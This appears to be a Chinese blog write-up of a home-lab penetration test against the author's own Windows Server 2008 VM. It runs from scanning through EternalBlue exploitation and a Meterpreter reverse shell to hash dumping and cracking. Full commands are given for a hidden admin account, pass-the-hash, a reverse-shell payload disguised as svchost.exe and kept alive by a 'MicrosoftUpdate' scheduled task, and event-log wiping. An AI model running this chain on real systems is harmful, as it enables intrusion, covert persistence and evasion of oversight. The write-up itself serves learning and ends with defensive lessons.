0x01 声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。
0x02 背景
很长时间没启动我的winser2008了,想着看看这个服务器系统本地安全策略与我本地win10系统安全策略的区别。我测试用的虚拟机密码都是弱口令(这种习惯不好,千万不要带到企业里去哈),但是虚拟机启动后,尝试了几遍密码,都没登上去,想重设密码还没配置密码重置盘,就给我整郁闷了。又不想重装一个新的虚拟机,然后我突然想到,这种win2008比较老的操作系统存在许多漏洞没有打补丁,而且说不定我之前使用的时候还放开了某些端口,这不,开启我的网安菜白修改密码之路,走起!
0x03 信息收集
常规思路,先做信息收集,扫描下win2008的ip地址及开放端口服务。这时候就论到我的另外一台虚拟机---kali出场了。
1、确定目标对象的IP
(1)使用nmap扫描整个网段
bash
nmap -sn 192.168.42.0/24
从MAC地址大概就可以分辨出win2008是哪个IP地址
MAC地址 00:0C:29开头 是标准的VMware虚拟机MAC前缀
其他IP的MAC都是 00:50:56 开头,这是VMware虚拟网卡的MAC
排除掉Kali自身的ip,剩下那个就是win2008的IP地址。
(2)"虚拟机-设置"菜单栏查询
当然还可以通过"虚拟机-设置-网络适配器-高级"界面路径直接查看MAC地址,进一步确定IP

(3)wireshark抓包分析
除了使用nmap扫描整个网段,也可以使用wireshark进行抓包分析
虚拟机配置的nat模式,打开wireshark并启动win2008虚拟机,对VMnet8虚拟网卡进行抓包

从抓包结果来看,VMware_6B:CB:0B发送三个免费ARP用于检测192.168.42.145是否有其他主机使用,随后开始使用这个IP地址进行网络活动。
2、针对指定IP去扫描已开放的端口
bash
nmap -p 1-65535 -T4 192.168.42.145

已知开放的端口:
135/tcp -MSRPC端点映射器
445/tcp -SMB文件共享服务
49154-49156/tcp -动态RPC端口
3、对已开放的端口检测存在的漏洞
(1)RPC服务枚举和漏洞检测
bash
# 使用rpcclient枚举RPC服务
rpcclient -U "" -N 192.168.42.145 -c "srvinfo;enumdomusers;lsaquery"
# 使用Impacket工具套件
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
# 枚举RPC端点
python rpcdump.py 192.168.42.145
# 尝试空会话连接
python samrdump.py 192.168.42.145
python lookupsid.py 192.168.42.145
遗憾的是:目标不存在RPC空会话匿名漏洞,核心信息枚举失败;
(2)SMB漏洞综合检测
bash
# 使用nmap全面SMB漏洞扫描
nmap --script smb-vuln* -p445 192.168.42.145
检测到存在永恒之蓝漏洞:ms17-010

该漏洞可直接通过SMB服务在目标系统上执行任意代码,无需用户名密码,并可获得SYSTEM权限
0x04 漏洞利用
1、Metasploit框架启动
bash
#启动metasploit
msfconsole
#搜索相关模块
search ms17-010
#使用永恒之蓝利用模块
use exploit/windows/smb/ms17_010_eternalblue
#设置目标
set RHOSTS 192.168.42.145
#设置payload(推荐使用Meterpreter)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.42.128
set LPORT 4444
#执行攻击
exploit
2、payload抓包分析
使用wireshark分析攻击流量,可观察到明显的payload特征

MSF向winserver发送构造的恶意数据包,利用MS17-010漏洞在目标主机上获得代码执行权限。
漏洞利用成功后,MSF配置的payload在目标主机上运行,让目标主机反向连接到渗透机4444端口,即反弹shell。连接建立后,渗透机器则可以向目标主机端口(49159)发送指令和数据。
3、修改管理员密码
shell进入window系统控制终端,使用ner user命令修改管理员登录口令,实现修改密码的目的
(执行命令若存在乱码,可使用chcp 65001 => UTF-8)
bash
shell
net user Administrator Password123!
4、查询网络状态
使用修改后的密码登录上windows server 2008,查询网络状态,发现kali与win2008的TCP连接

########################扩展#######################
5、John破解
如果账号密码非强口令则可以使用工具如John the Rippper或Hashcat 破解哈希获得明文密码
(1)通过hashdump获取win2008的登录用户及密码哈希值
格式=>用户名:RID:LM哈希:NTLM哈希:::
bash
hashdump
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
YourUser:1001:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C:::
msf环境下运行hashdump时,它会从SAM(安全账户管理器)数据库中提取 所有本地用户的用户名、对应的密码哈希(NTLM/LM哈希)、用户SID(安全标识符)、其他账户等信息。
(2)使用John the Ripper工具破解
bash
# 使用规则攻击(变形字典中的单词)
john --format=NT --wordlist=/usr/share/john/password.lst --rules hashes.txt
#显示已破解的密码
john --show --format=NT hashes.txt
由于测试的虚拟机是弱口令,使用john再配上变形规则比较容易命中。
(实际上最后测试的结果是我虚拟机为强口令,使用john破解失败,让我记起密码,有点搞笑)
0x05 维持权限
1、创建隐藏管理员账户
bash
#创建用户,用户名为类似系统用户,比如$符号结尾
net user apple$ Password123! /add
#将用户添加到管理员组
net localgroup administrators apple$ /add
#并使用reg命令修改注册表将其隐藏
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -v "apple$" /t REG_DWORD /d 0 /f
这样在系统登录界面以及控制面板用户管理界面都不会展示,但在"计算机管理-本地用户和组"菜单栏还是能够看得到。(实际渗透工作中创建账户属于高噪音操作,风险较高)
2、哈希传递利用
bash
# 直接使用哈希进行身份验证,无需破解密码
meterpreter > use exploit/windows/smb/psexec
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
msf6 > set RHOSTS 192.168.1.100
msf6 > exploit
经过测试,将登录用户名的密码进行修改,哈希也随之变更,旧哈希则无法建立连接。
3、持久化访问
(1)生成 payload
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.42.128 LPORT=4444 -a x86 --platform windows -f exe -o /root/svchost.exe
(2)上传到目标主机
bash
# 在MSF中
meterpreter > upload /root/svchost.exe C:\\Windows\\Temp\\svchost.exe
meterpreter > shell
# 创建计划任务
C:\> schtasks /create /tn "MicrosoftUpdate" /tr "C:\Windows\Temp\svchost.exe" /sc onstart /delay 0001:30 /ru "SYSTEM" /f
# 立即测试
C:\> schtasks /run /tn "MicrosoftUpdate"
(3)设置监听器
bash
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.42.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > set exitonsession false
msf6 exploit(multi/handler) > exploit -j
0x06 日志清理
在实际安防对抗中,最后一步就是操作记录清理,体现渗透的完整性。
bash
# 检查是否有相关进程在运行
meterpreter > ps | grep -i svchost
# 发现有异常的svchost进程,结束它
meterpreter > kill 1552
# 删除上传payload文件
meterpreter > rm C:\\Windows\\Temp\\svchost.exe
# 删除创建的计划任务
meterpreter > shell
C:\> schtasks /delete /tn "MicrosoftUpdate" /f
C:\> exit
# 清除操作痕迹
meterpreter > clearev
0x07 总结
这次利用老系统未打补丁的漏洞修改密码的操作也是耗时比较久,避免没有过渗透经验,专有的名词不知道啥意思,还是需要去科普。其实只是修改密码的话很简单,但是我想这当作一个小小的渗透测试,按照常规的流程应该如何去操作,培训这方面的思路,不然也不会有后面的权限维持和日志清理还有john工具的利用。当然经过这次的测试,对安全防范意识也有进一步增强,比如系统及时升级打补丁、将不常用的端口关闭、账号密码使用强口令并定期更换、用户权限最小化分配等等。虽然说都是老生常谈,但是在实际攻防中,这些确实都是比较重视的地方,还是不能掉以轻心,最好实践在日常生活中,就像我最后发现我的测试虚拟机竟然是个强口令一样,哈哈。
最后声明下,鉴于渗透的安全合规性,本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。